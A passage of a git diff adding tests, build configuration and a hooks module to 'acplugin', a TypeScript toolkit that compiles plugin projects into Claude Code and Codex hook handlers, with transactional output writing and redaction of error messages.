path.join(root, 'acplugin.config.ts'), 'build', 'production'); + const diagnostics = new DiagnosticCollector(); + await scanProject(resolved.config!, diagnostics); + + expect(diagnostics.diagnostics).toContainEqual(expect.objectContaining({ + code: 'COMPONENT_DEPENDENCY_CYCLE', + message: expect.stringContaining('skill:a -> skill:b -> skill:a'), + })); + }); +}); + +describe('Artifact graph', () => { + it('hashes content and rejects case-insensitive collisions', async () => { + const root = await temporaryProject(); + const graph = new ArtifactGraph([root]); + const first = await graph.add('test', { + path: 'Skills/Test.md', + source: { type: 'bytes', value: new TextEncoder().encode('content') }, + }); + + expect(first.sha256).toHaveLength(64); + await expect(graph.add('other', { + path: 'skills/test.md', + source: { type: 'bytes', value: new Uint8Array() }, + })).rejects.toThrow('collision'); + }); +}); + +describe('managed output transaction', () => { + it('preserves the previous complete output at every injected failure phase', async () => { + const phases: ManagedOutputPhase[] = [ + 'lock-acquired', + 'recovery-complete', + 'stage-materialized', + 'stage-validated', + 'transaction-written', + 'backup-created', + 'output-swapped', + ]; + + for (const phase of phases) { + const root = await temporaryProject(); + const outDir = path.join(root, 'dist'); + await fs.mkdir(path.join(outDir, 'codex'), { recursive: true }); + await fs.writeFile(path.join(outDir, 'codex/version.txt'), 'old'); + const graph = new ArtifactGraph([root]); + await graph.add('test', { + path: 'version.txt', + source: { type: 'bytes', value: new TextEncoder().encode('new') }, + }); + + await expect(commitManagedOutput(outDir, new Map([['codex', graph.artifacts]]), { + onPhase(current) { + if (current === phase) + throw new Error(`fail at ${phase}`); + }, + })).rejects.toThrow(`fail at ${phase}`); + + expect(await fs.readFile(path.join(outDir, 'codex/version.txt'), 'utf8')).toBe('old'); + expect((await fs.readdir(root)).filter(name => name.startsWith('.dist.acplugin-'))).toEqual([]); + } + }); + + it('replaces the whole managed target set on success', async () => { + const root = await temporaryProject(); + const outDir = path.join(root, 'dist'); + await fs.mkdir(path.join(outDir, 'stale-target'), { recursive: true }); + await fs.writeFile(path.join(outDir, 'stale-target/file.txt'), 'stale'); + const graph = new ArtifactGraph([root]); + await graph.add('test', { + path: 'version.txt', + source: { type: 'bytes', value: new TextEncoder().encode('new') }, + }); + + await commitManagedOutput(outDir, new Map([['codex', graph.artifacts]])); + + expect(await fs.readFile(path.join(outDir, 'codex/version.txt'), 'utf8')).toBe('new'); + await expect(fs.access(path.join(outDir, 'stale-target'))).rejects.toThrow(); + }); + + it('rejects a file source changed after hashing and preserves the old output', async () => { + const root = await temporaryProject(); + const outDir = path.join(root, 'dist'); + const source = path.join(root, 'source.txt'); + await fs.mkdir(path.join(outDir, 'codex'), { recursive: true }); + await fs.writeFile(path.join(outDir, 'codex/version.txt'), 'old'); + await fs.writeFile(source, 'original'); + const graph = new ArtifactGraph([root]); + await graph.add('test', { path: 'source.txt', source: { type: 'file', path: source } }); + await fs.writeFile(source, 'changed-after-hash'); + + await expect(commitManagedOutput(outDir, new Map([['codex', graph.artifacts]]))).rejects.toThrow('integrity mismatch'); + expect(await fs.readFile(path.join(outDir, 'codex/version.txt'), 'utf8')).toBe('old'); + }); +}); + +describe('Module lifecycle', () => { + it('uses dependency order and always cleans up in reverse order', async () => { + const root = await temporaryProject(); + const events: string[] = []; + const first: AcpluginModule = { + name: 'first', + configResolved() { events.push('first:config'); }, + discover() { + events.push('first:discover'); + return 'first-state'; + }, + validate() { events.push('first:validate'); }, + build() { + events.push('first:build'); + return 'first-built'; + }, + generate() { events.push('first:generate'); }, + buildEnd(context) { + events.push(context.error ? 'first:end:error' : 'first:end'); + }, + }; + const second: AcpluginModule = { + name: 'second', + dependsOn: ['first'], + configResolved() { events.push('second:config'); }, + discover(context) { + events.push(`second:discover:${String(context.dependencyState.get('first'))}`); + return 'second-state'; + }, + validate() { events.push('second:validate'); }, + build(context) { + events.push(`second:build:${String(context.dependencyState.get('first'))}`); + return 'second-built'; + }, + generate(context) { + events.push(`second:generate:${String(context.dependencyBuiltState.get('first'))}`); + }, + buildEnd() { + events.push('second:end'); + throw new Error('cleanup failed'); + }, + }; + const compiler: Compiler = { + id: 'codex', + compile() { + events.push('compiler'); + return { artifacts: [bytesArtifact('manifest.json', '{}\n')], compatibility: [] }; + }, + }; + const resolved = resolveConfig({ + name: 'lifecycle-plugin', + version: '1.0.0', + description: 'Lifecycle fixture.', + targets: ['codex'], + modules: [second, first], + }, path.join(root, 'acplugin.config.ts'), 'inspect', 'production'); + + const result = await buildProject({ + config: resolved.config!, + compilers: new Map([['codex', compiler]]), + loadTypeScriptModule: async () => undefined, + commit: false, + }); + + expect(events).toEqual([ + 'first:config', 'second:config', + 'first:discover', 'second:discover:first-state', + 'first:validate', 'second:validate', + 'first:build', 'second:build:first-state', + 'first:generate', 'second:generate:first-built', + 'compiler', + 'second:end', 'first:end:error', + ]); + expect(result.report.success).toBe(false); + expect(result.report.diagnostics).toContainEqual(expect.objectContaining({ + code: 'MODULE_BUILD_END_FAILED', + module: 'second', + })); + }); + + it('does not commit when buildEnd fails and redacts untrusted Module errors', async () => { + const root = await temporaryProject(); + const outDir = path.join(root, 'dist'); + await fs.mkdir(path.join(outDir, 'codex'), { recursive: true }); + await fs.writeFile(path.join(outDir, 'codex/version.txt'), 'old'); + const module: AcpluginModule = { + name: 'unsafe-module', + discover() { + return undefined; + }, + buildEnd() { + throw new Error(`Bearer top-secret ${path.join(root, 'private.txt')}`); + }, + }; + const compiler: Compiler = { + id: 'codex', + compile() { + return { artifacts: [bytesArtifact('manifest.json', '{}\n')], compatibility: [] }; + }, + }; + const resolved = resolveConfig({ + name: 'cleanup-plugin', version: '1.0.0', description: 'Cleanup fixture.', + targets: ['codex'], modules: [module], + }, path.join(root, 'acplugin.config.ts'), 'build', 'production'); + + const result = await buildProject({ + config: resolved.config!, + compilers: new Map([['codex', compiler]]), + loadTypeScriptModule: async () => undefined, + commit: true, + }); + + expect(result.report).toMatchObject({ success: false, committed: false }); + expect(JSON.stringify(result.report)).not.toContain('top-secret'); + expect(JSON.stringify(result.report)).not.toContain(root); + expect(await fs.readFile(path.join(outDir, 'codex/version.txt'), 'utf8')).toBe('old'); + }); +}); diff --git a/packages/core/tsconfig.json b/packages/core/tsconfig.json new file mode 100644 index 0000000..6ece4d3 --- /dev/null +++ b/packages/core/tsconfig.json @@ -0,0 +1,4 @@ +{ + "extends": "../../tsconfig.base.json", + "include": ["src/**/*.ts", "test/**/*.ts"] +} diff --git a/packages/core/tsdown.config.ts b/packages/core/tsdown.config.ts new file mode 100644 index 0000000..1533d6b --- /dev/null +++ b/packages/core/tsdown.config.ts @@ -0,0 +1,12 @@ +import { defineConfig } from 'tsdown'; +import { fileURLToPath } from 'node:url'; + +export default defineConfig({ + entry: [fileURLToPath(new URL('./src/index.ts', import.meta.url))], + format: ['esm'], + platform: 'node', + target: 'node20', + dts: true, + clean: true, + sourcemap: false, +}); diff --git a/packages/module-hooks/LICENSE b/packages/module-hooks/LICENSE new file mode 100644 index 0000000..9113de7 --- /dev/null +++ b/packages/module-hooks/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2026 TokenRollAI + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/packages/module-hooks/README.md b/packages/module-hooks/README.md new file mode 100644 index 0000000..c705930 --- /dev/null +++ b/packages/module-hooks/README.md @@ -0,0 +1,37 @@ +# @tokenroll/acplugin-module-hooks + +Official optional Hooks Module for `@tokenroll/acplugin`. It bundles local TypeScript handlers into installable Node.js runners for Claude Code and Codex. + +```ts +// acplugin.config.ts +import { defineConfig } from '@tokenroll/acplugin'; +import hooks from '@tokenroll/acplugin-module-hooks'; + +export default defineConfig({ + name: 'policy-plugin', + version: '1.0.0', + description: 'Portable local policy hooks.', + modules: [hooks()], +}); +``` + +```ts +// src/hooks/policy/hook.ts +import { defineHook } from '@tokenroll/acplugin-module-hooks'; + +export default defineHook({ + event: 'PreToolUse', + matcher: 'Bash', + async run(input) { + return input.cwd ? { decision: 'allow' } : { decision: 'deny', reason: 'Missing working directory.' }; + }, +}); +``` + +Handlers receive normalized input and return semantic decisions. acplugin owns target protocol mapping, bounded JSON I/O, error redaction, executable bundling, and third-party license notices. + +See the [Hooks documentation](https://github.com/TokenRollAI/acplugin#hooks-module) for the portable and target-specific event matrix. + +## License + +MIT diff --git a/packages/module-hooks/package.json b/packages/module-hooks/package.json new file mode 100644 index 0000000..08e10ac --- /dev/null +++ b/packages/module-hooks/package.json @@ -0,0 +1,29 @@ +{ + "name": "@tokenroll/acplugin-module-hooks", + "version": "1.0.0", + "description": "Portable local hook handlers for acplugin.", + "type": "module", + "license": "MIT", + "homepage": "https://github.com/TokenRollAI/acplugin#hooks-module", + "repository": { "type": "git", "url": "git+https://github.com/TokenRollAI/acplugin.git", "directory": "packages/module-hooks" }, + "bugs": { "url": "https://github.com/TokenRollAI/acplugin/issues" }, + "sideEffects": false, + "engines": { "node": ">=20" }, + "exports": { ".": { "types": "./dist/index.d.mts", "import": "./dist/index.mjs" } }, + "files": ["dist", "README.md", "LICENSE"], + "publishConfig": { "access": "public", "provenance": true }, + "scripts": { + "build": "tsdown", + "test": "vitest run --passWithNoTests", + "typecheck": "tsc -p tsconfig.json" + }, + "peerDependencies": { "@tokenroll/acplugin": "workspace:^" }, + "dependencies": { "rolldown": "catalog:" }, + "devDependencies": { + "@tokenroll/acplugin": "workspace:^", + "@types/node": "catalog:", + "tsdown": "catalog:", + "typescript": "catalog:", + "vitest": "catalog:" + } +} diff --git a/packages/module-hooks/src/index.ts b/packages/module-hooks/src/index.ts new file mode 100644 index 0000000..fdcfcf5 --- /dev/null +++ b/packages/module-hooks/src/index.ts @@ -0,0 +1,519 @@ +import { promises as fs } from 'node:fs'; +import path from 'node:path'; +import { build as rolldownBuild, type OutputChunk } from 'rolldown'; +import { + bytesArtifact, + stableJson, + type AcpluginModule, + type CompatibilityEntry, + type ModuleBuildContext, + type ModuleDiscoverContext, + type ModuleGenerateContext, + type ModuleValidateContext, + type TargetContribution, + type TargetId, +} from '@tokenroll/acplugin'; + +export const HOOKS_MODULE_NAME = '@tokenroll/acplugin-module-hooks'; + +export const PORTABLE_HOOK_EVENTS = [ + 'SessionStart', 'SessionEnd', 'UserPromptSubmit', 'PreToolUse', + 'PermissionRequest', 'PostToolUse', 'PreCompact', 'PostCompact', + 'SubagentStart', 'SubagentStop', 'Stop', +] as const; + +export const CLAUDE_ONLY_HOOK_EVENTS = [ + 'Setup', 'UserPromptExpansion', 'PermissionDenied', 'PostToolUseFailure', + 'PostToolBatch', 'Notification', 'MessageDisplay', 'TaskCreated', 'TaskCompleted', + 'StopFailure', 'TeammateIdle', 'InstructionsLoaded', 'ConfigChange', 'CwdChanged', + 'DirectoryAdded', 'FileChanged', 'WorktreeCreate', 'WorktreeRemove', + 'Elicitation', 'ElicitationResult', +] as const; + +export type PortableHookEvent = typeof PORTABLE_HOOK_EVENTS[number]; +export type ClaudeOnlyHookEvent = typeof CLAUDE_ONLY_HOOK_EVENTS[number]; +export type HookEvent = PortableHookEvent | ClaudeOnlyHookEvent; + +export interface HookInput { + event: Event; + sessionId: string; + transcriptPath?: string | null; + cwd: string; + [field: string]: unknown; +} + +export interface HookRuntimeContext { + target: TargetId; + pluginRoot: string; + pluginData: string; +} + +interface AdvisoryResult { + systemMessage?: string; +} + +interface ContextResult extends AdvisoryResult { + additionalContext?: string; +} + +interface DecisionResult extends AdvisoryResult { + decision?: Decision; + reason?: string; +} + +interface FlowResult extends AdvisoryResult { + decision?: Decision; +} + +export interface HookResultByEvent { + SessionStart: ContextResult & FlowResult<'continue' | 'stop'>; + SessionEnd: AdvisoryResult; + UserPromptSubmit: ContextResult & DecisionResult<'allow' | 'deny'>; + PreToolUse: ContextResult & DecisionResult<'allow' | 'deny'> & { updatedInput?: unknown }; + PermissionRequest: DecisionResult<'allow' | 'deny' | 'defer'>; + PostToolUse: ContextResult & DecisionResult<'pass' | 'block'>; + PreCompact: FlowResult<'continue' | 'stop'>; + PostCompact: FlowResult<'continue' | 'stop'>; + SubagentStart: ContextResult; + SubagentStop: DecisionResult<'finish' | 'continue'>; + Stop: DecisionResult<'finish' | 'continue'>; +} + +export type HookResult + = void + | (Event extends keyof HookResultByEvent ? HookResultByEvent[Event] : AdvisoryResult); + +export interface HookDefinition { + readonly __acpluginHook: true; + event: Event; + matcher?: string; + timeout?: number; + statusMessage?: string; + run(input: HookInput, context: HookRuntimeContext): HookResult | Promise>; +} + +export type HookDefinitionInput = Omit, '__acpluginHook'>; + +export function defineHook(definition: HookDefinitionInput): HookDefinition { + return Object.freeze({ ...definition, __acpluginHook: true }); +} + +interface DiscoveredHook { + id: string; + directory: string; + sourcePath: string; + definition: HookDefinition; +} + +interface BuiltHooksState { + bundles: ReadonlyMap>; +} + +interface BundledHook { + handler: string; + licenses?: string; +} + +const ID_PATTERN = /^[a-z0-9]+(?:-[a-z0-9]+)*$/; +const ALL_EVENTS = new Set([...PORTABLE_HOOK_EVENTS, ...CLAUDE_ONLY_HOOK_EVENTS]); + +function unwrapDefault(value: unknown): unknown { + if (value && typeof value === 'object' && 'default' in value) + return (value as { default: unknown }).default; + return value; +} + +interface PackageLicense { + name: string; + version: string; + license: string; + notices: readonly { name: string; text: string }[]; +} + +async function packageLicenseForModule(moduleId: string): Promise { + const normalized = moduleId.replace(/\?.*$/, '').replace(/^\0/, ''); + if (!normalized.includes(`${path.sep}node_modules${path.sep}`)) + return undefined; + let directory = path.dirname(normalized); + const root = path.parse(directory).root; + while (directory !== root) { + try { + const manifest = JSON.parse(await fs.readFile(path.join(directory, 'package.json'), 'utf8')) as { + name?: unknown; + version?: unknown; + license?: unknown; + }; + if (typeof manifest.name === 'string' && typeof manifest.version === 'string') { + const entries = await fs.readdir(directory, { withFileTypes: true }); + const noticeFiles = entries + .filter(entry => entry.isFile() && /^(?:licen[cs]e|notice)(?:\..*)?$/i.test(entry.name)) + .map(entry => entry.name) + .sort((a, b) => a.localeCompare(b, 'en')); + if (noticeFiles.length === 0) + throw new Error(`Bundled dependency ${manifest.name}@${manifest.version} has no license or notice file.`); + return { + name: manifest.name, + version: manifest.version, + license: typeof manifest.license === 'string' ? manifest.license : 'UNKNOWN', + notices: await Promise.all(noticeFiles.map(async name => ({ + name, + text: (await fs.readFile(path.join(directory, name), 'utf8')).trimEnd(), + }))), + }; + } + } catch (error) { + if ((error as NodeJS.ErrnoException).code !== 'ENOENT') + throw error; + } + directory = path.dirname(directory); + } + throw new Error(`Cannot resolve package metadata for bundled module ${path.basename(normalized)}.`); +} + +async function writeThirdPartyLicenses(chunk: OutputChunk, directory: string): Promise { + const records = new Map(); + for (const moduleId of Object.keys(chunk.modules).sort((a, b) => a.localeCompare(b, 'en'))) { + const record = await packageLicenseForModule(moduleId); + if (record) + records.set(`${record.name}@${record.version}`, record); + } + if (records.size === 0) + return undefined; + const sections = ['THIRD-PARTY LICENSES']; + for (const [id, record] of [...records].sort(([a], [b]) => a.localeCompare(b, 'en'))) { + sections.push(`## ${id}\nSPDX: ${record.license}`); + for (const notice of record.notices) + sections.push(`### ${notice.name}\n${notice.text}`); + } + const destination = path.join(directory, 'THIRD_PARTY_LICENSES.txt'); + await fs.writeFile(destination, `${sections.join('\n\n')}\n`); + return destination; +} + +async function discover(context: ModuleDiscoverContext): Promise { + const root = path.join(context.config.srcDir, 'hooks'); + let entries: import('node:fs').Dirent[]; + try { + entries = await fs.readdir(root, { withFileTypes: true }); + } catch (error) { + if ((error as NodeJS.ErrnoException).code === 'ENOENT') + return []; + throw error; + } + const result: DiscoveredHook[] = []; + for (const entry of entries.sort((a, b) => a.name.localeCompare(b.name, 'en'))) { + const directory = path.join(root, entry.name); + if (!entry.isDirectory() || !ID_PATTERN.test(entry.name)) { + context.diagnostics.error('HOOK_ENTRY_INVALID', 'Hook entries must be one-level lowercase kebab-case directories.', { + phase: 'discover', module: HOOKS_MODULE_NAME, + location: { path: path.relative(context.config.root, directory).split(path.sep).join('/') }, + }); + continue; + } + const sourcePath = path.join(directory, 'hook.ts'); + try { + const definition = unwrapDefault(await context.loadTypeScriptModule(sourcePath)); + if (!definition || typeof definition !== 'object' || (definition as { __acpluginHook?: boolean }).__acpluginHook !== true) + throw new Error('hook.ts must default-export defineHook(...).'); + result.push({ id: entry.name, directory, sourcePath, definition: definition as HookDefinition }); + } catch { + context.diagnostics.error('HOOK_LOAD_FAILED', `Hook ${entry.name} descriptor could not be loaded.`, { + phase: 'discover', module: HOOKS_MODULE_NAME, + location: { path: path.relative(context.config.root, sourcePath).split(path.sep).join('/') }, + }); + } + } + return result; +} + +async function validate(context: ModuleValidateContext, hooks: DiscoveredHook[]): Promise { + for (const hook of hooks) { + const { definition } = hook; + if (!ALL_EVENTS.has(definition.event)) + context.diagnostics.error('HOOK_EVENT_UNSUPPORTED', `Hook ${hook.id} uses unsupported event ${String(definition.event)}.`, { phase: 'validate', module: HOOKS_MODULE_NAME }); + if (typeof definition.run !== 'function') + context.diagnostics.error('HOOK_RUN_REQUIRED', `Hook ${hook.id} must define run().`, { phase: 'validate', module: HOOKS_MODULE_NAME }); + if (definition.matcher !== undefined && typeof definition.matcher !== 'string') + context.diagnostics.error('HOOK_MATCHER_INVALID', `Hook ${hook.id} matcher must be a string.`, { phase: 'validate', module: HOOKS_MODULE_NAME }); + if (definition.matcher) { + try { + new RegExp(definition.matcher); + } catch { + context.diagnostics.error('HOOK_MATCHER_INVALID', `Hook ${hook.id} matcher is not a valid regular expression.`, { phase: 'validate', module: HOOKS_MODULE_NAME }); + } + } + if (definition.timeout !== undefined && (!Number.isFinite(definition.timeout) || definition.timeout <= 0)) + context.diagnostics.error('HOOK_TIMEOUT_INVALID', `Hook ${hook.id} timeout must be a positive number of seconds.`, { phase: 'validate', module: HOOKS_MODULE_NAME }); + if (definition.event === 'SessionEnd' && definition.timeout !== undefined && definition.timeout > 3 && context.config.targets.some(target => target.id === 'codex')) + context.diagnostics.error('HOOK_TIMEOUT_TARGET_LIMIT', `Hook ${hook.id} exceeds Codex SessionEnd's 3 second maximum.`, { phase: 'validate', module: HOOKS_MODULE_NAME, target: 'codex' }); + } +} + +function runnerSource(hook: DiscoveredHook, target: TargetId, runnerDirectory: string): string { + let importPath = path.relative(runnerDirectory, hook.sourcePath).split(path.sep).join('/'); + if (!importPath.startsWith('.')) + importPath = `./${importPath}`; + return ` +const TARGET = ${JSON.stringify(target)}; +const MAX_BYTES = 1024 * 1024; +const EVENT_RESULTS = { + SessionStart: { decisions: ['continue', 'stop'], fields: ['additionalContext'] }, + SessionEnd: { decisions: [], fields: [] }, + UserPromptSubmit: { decisions: ['allow', 'deny'], fields: ['reason', 'additionalContext'] }, + PreToolUse: { decisions: ['allow', 'deny'], fields: ['reason', 'updatedInput', 'additionalContext'] }, + PermissionRequest: { decisions: ['allow', 'deny', 'defer'], fields: ['reason'] }, + PostToolUse: { decisions: ['pass', 'block'], fields: ['reason', 'additionalContext'] }, + PreCompact: { decisions: ['continue', 'stop'], fields: [] }, + PostCompact: { decisions: ['continue', 'stop'], fields: [] }, + SubagentStart: { decisions: [], fields: ['additionalContext'] }, + SubagentStop: { decisions: ['finish', 'continue'], fields: ['reason'] }, + Stop: { decisions: ['finish', 'continue'], fields: ['reason'] }, +}; + +function camel(key) { + return key.replace(/_([a-z])/g, (_, letter) => letter.toUpperCase()); +} + +function normalize(value) { + if (Array.isArray(value)) return value.map(normalize); + if (value && typeof value === 'object') { + return Object.fromEntries(Object.entries(value).map(([key, child]) => [camel(key), normalize(child)])); + } + return value; +} + +function validateResult(event, result) { + if (result === undefined) return; + if (!result || typeof result !== 'object' || Array.isArray(result)) throw new Error('RESULT_INVALID'); + const contract = EVENT_RESULTS[event] || { decisions: [], fields: [] }; + const allowedFields = new Set(['decision', 'systemMessage', ...contract.fields]); + if (Object.keys(result).some(field => !allowedFields.has(field))) throw new Error('RESULT_FIELD_INVALID'); + for (const field of ['reason', 'additionalContext', 'systemMessage']) { + if (result[field] !== undefined && typeof result[field] !== 'string') throw new Error('RESULT_INVALID'); + } + if (result.decision !== undefined && !contract.decisions.includes(result.decision)) throw new Error('RESULT_DECISION_INVALID'); +} + +function outputFor(event, result) { + if (!result) return undefined; + const output = {}; + if (result.systemMessage) output.systemMessage = result.systemMessage; + if (event === 'PreToolUse') { + if (result.decision === 'allow' || result.decision === 'deny') { + output.hookSpecificOutput = { + hookEventName: event, + permissionDecision: result.decision, + ...(result.reason ? { permissionDecisionReason: result.reason } : {}), + ...(result.updatedInput === undefined ? {} : { updatedInput: result.updatedInput }), + ...(result.additionalContext ? { additionalContext: result.additionalContext } : {}), + }; + } else if (result.additionalContext) { + output.hookSpecificOutput = { hookEventName: event, additionalContext: result.additionalContext }; + } + } else if (event === 'PermissionRequest') { + if (result.decision === 'allow' || result.decision === 'deny') { + output.hookSpecificOutput = { + hookEventName: event, + decision: { behavior: result.decision, ...(result.reason ? { message: result.reason } : {}) }, + }; + } else if (result.decision === 'defer' && result.reason && !output.systemMessage) { + output.systemMessage = result.reason; + } + } else if (event === 'PostToolUse') { + if (result.decision === 'block') { + output.decision = 'block'; + output.reason = result.reason || 'Blocked by hook.'; + } + if (result.additionalContext) + output.hookSpecificOutput = { hookEventName: event, additionalContext: result.additionalContext }; + } else if (event === 'UserPromptSubmit') { + if (result.decision === 'deny') { + output.decision = 'block'; + output.reason = result.reason || 'Blocked by hook.'; + } + if (result.additionalContext) + output.hookSpecificOutput = { hookEventName: event, additionalContext: result.additionalContext }; + } else if (event === 'Stop' || event === 'SubagentStop') { + if (result.decision === 'continue') { + output.decision = 'block'; + output.reason = result.reason || 'Continue before stopping.'; + } + } else if (event === 'SessionStart' || event === 'PreCompact' || event === 'PostCompact') { + if (result.decision === 'stop') { + output.continue = false; + if (result.reason) output.stopReason = result.reason; + } + if (result.additionalContext) + output.hookSpecificOutput = { hookEventName: event, additionalContext: result.additionalContext }; + } else if (event === 'SubagentStart' && result.additionalContext) { + output.hookSpecificOutput = { hookEventName: event, additionalContext: result.additionalContext }; + } + return Object.keys(output).length ? output : undefined; +} + +async function main() { + let definition; + try { + ({ default: definition } = await import(${JSON.stringify(importPath)})); + } catch { + throw new Error('HANDLER_IMPORT_FAILED'); + } + let source = ''; + for await (const chunk of process.stdin) { + source += chunk; + if (Buffer.byteLength(source) > MAX_BYTES) throw new Error('INPUT_TOO_LARGE'); + } + let raw; + try { + raw = JSON.parse(source); + } catch { + throw new Error('INPUT_JSON_INVALID'); + } + if (!raw || typeof raw !== 'object' || Array.isArray(raw)) throw new Error('INPUT_OBJECT_REQUIRED'); + if (raw.hook_event_name !== definition.event) throw new Error('INPUT_EVENT_MISMATCH'); + const normalized = normalize(raw); + normalized.event = raw.hook_event_name; + let result; + try { + result = await definition.run(normalized, { + target: TARGET, + pluginRoot: process.env.PLUGIN_ROOT || process.env.CLAUDE_PLUGIN_ROOT || '', + pluginData: process.env.PLUGIN_DATA || process.env.CLAUDE_PLUGIN_DATA || '', + }); + } catch { + throw new Error('HANDLER_FAILED'); + } + validateResult(raw.hook_event_name, result); + const output = outputFor(raw.hook_event_name, result); + if (output) { + let serialized; + try { + serialized = JSON.stringify(output); + } catch { + throw new Error('RESULT_SERIALIZATION_FAILED'); + } + if (Buffer.byteLength(serialized) > MAX_BYTES) throw new Error('OUTPUT_TOO_LARGE'); + process.stdout.write(serialized + '\\n'); + } +} + +main().catch((error) => { + const code = error instanceof Error && /^[A-Z_]+$/.test(error.message) ? error.message : 'HOOK_FAILED'; + process.stderr.write('acplugin hook error: ' + code + '\\n'); + process.exitCode = 1; +}); +`; +} + +async function bundleHook(hook: DiscoveredHook, target: TargetId, workDir: string): Promise { + const targetDirectory = path.join(workDir, hook.id, target); + await fs.mkdir(targetDirectory, { recursive: true }); + const runner = path.join(targetDirectory, 'runner.mjs'); + await fs.writeFile(runner, runnerSource(hook, target, targetDirectory)); + const output = await rolldownBuild({ + input: runner, + platform: 'node', + external: [/^node:/], + write: false, + output: { format: 'esm', sourcemap: false, codeSplitting: false, comments: { legal: true } }, + }); + const chunks = output.output.filter((item): item is OutputChunk => item.type === 'chunk'); + if (chunks.length !== 1 || output.output.some(item => item.type === 'asset')) + throw new Error(`Hook ${hook.id} must bundle to one JavaScript chunk and no assets.`); + const bundle = path.join(targetDirectory, 'handler.mjs'); + await fs.writeFile(bundle, chunks[0]!.code); + const licenses = await writeThirdPartyLicenses(chunks[0]!, targetDirectory); + return licenses ? { handler: bundle, licenses } : { handler: bundle }; +} + +async function build(context: ModuleBuildContext, hooks: DiscoveredHook[]): Promise { + const bundles = new Map>(); + for (const hook of hooks) { + const targetBundles = new Map(); + for (const target of context.config.targets) { + if (target.id === 'codex' && CLAUDE_ONLY_HOOK_EVENTS.includes(hook.definition.event as ClaudeOnlyHookEvent)) + continue; + targetBundles.set(target.id, await bundleHook(hook, target.id, context.workDir)); + } + bundles.set(hook.id, targetBundles); + } + return { bundles }; +} + +function compatibilityFor(hook: DiscoveredHook, target: TargetId): CompatibilityEntry[] { + if (target === 'codex' && CLAUDE_ONLY_HOOK_EVENTS.includes(hook.definition.event as ClaudeOnlyHookEvent)) { + return [{ + target, + subject: `hook:${hook.id}`, + capability: `event.${hook.definition.event}`, + level: 'unsupported', + reason: `${hook.definition.event} is currently a Claude Code-only event.`, + }]; + } + if (target === 'codex' && hook.definition.matcher !== undefined && (hook.definition.event === 'UserPromptSubmit' || hook.definition.event === 'Stop')) { + return [{ + target, + subject: `hook:${hook.id}`, + capability: 'matcher', + level: 'degraded', + reason: `Codex ignores matcher for ${hook.definition.event}.`, + }]; + } + return [{ + target, + subject: `hook:${hook.id}`, + capability: `event.${hook.definition.event}`, + level: 'native', + reason: `${target} supports local command handlers for ${hook.definition.event}.`, + }]; +} + +async function generate( + context: ModuleGenerateContext, + hooks: DiscoveredHook[], + built: BuiltHooksState, +): Promise { + if (hooks.length === 0) + return {}; + const artifacts = []; + const hookGroups: Record = {}; + for (const hook of hooks) { + const bundle = built.bundles.get(hook.id)?.get(context.target); + if (!bundle) + continue; + artifacts.push({ path: `hooks/${hook.id}/handler.mjs`, source: { type: 'file' as const, path: bundle.handler }, mode: 0o755 as const }); + if (bundle.licenses) + artifacts.push({ path: `hooks/${hook.id}/THIRD_PARTY_LICENSES.txt`, source: { type: 'file' as const, path: bundle.licenses }, mode: 0o644 as const }); + const rootVariable = context.target === 'codex' ? 'PLUGIN_ROOT' : 'CLAUDE_PLUGIN_ROOT'; + const handler: Record = { + type: 'command', + command: `node "\${${rootVariable}}/hooks/${hook.id}/handler.mjs"`, + }; + if (hook.definition.timeout !== undefined) + handler.timeout = hook.definition.timeout; + if (hook.definition.statusMessage !== undefined) + handler.statusMessage = hook.definition.statusMessage; + const group: Record = { hooks: [handler] }; + if (hook.definition.matcher !== undefined) + group.matcher = hook.definition.matcher; + (hookGroups[hook.definition.event] ??= []).push(group); + } + if (Object.keys(hookGroups).length > 0) + artifacts.push(bytesArtifact('hooks/hooks.json', stableJson({ hooks: hookGroups }))); + return { + artifacts, + compatibility: hooks.flatMap(hook => compatibilityFor(hook, context.target)), + }; +} + +export function hooks(): AcpluginModule { + return { + name: HOOKS_MODULE_NAME, + discover, + validate, + build, + generate, + }; +} + +export default hooks; diff --git a/packages/module-hooks/tsconfig.json b/packages/module-hooks/tsconfig.json new file mode 100644 index 0000000..6ece4d3 --- /dev/null +++ b/packages/module-hooks/tsconfig.json @@ -0,0 +1,4 @@ +{ + "extends": "../../tsconfig.base.json", + "include": ["src/**/*.ts", "test/**/*.ts"] +} diff --git a/packages/module-hooks/tsdown.config.ts b/packages/module-hooks/tsdown.config.ts new file mode 100644 index 0000000..510566b --- /dev/null +++ b/packages/module-hooks/tsdown.config.ts @@ -0,0 +1,15 @@ +import { defineConfig } from 'tsdown'; +import { fileURLToPath } from 'node:url'; + +export default defineConfig({ + entry: [fileURLToPath(new URL('./src/index.ts', import.meta.url))], + format: ['esm'], + platform: 'node', + target: 'node20', + dts: true, + clean: true, + sourcemap: false, + publint: true, + attw: { profile: 'esm-only', level: 'error' }, + deps: { neverBundle: ['@tokenroll/acplugin'] }, +}); diff --git a/packages/module-mcp/LICENSE b/packages/module-mcp/LICENSE new file mode 100644 index 0000000..9113de7 --- /dev/null +++ b/packages/module-mcp/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2026 TokenRollAI + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE 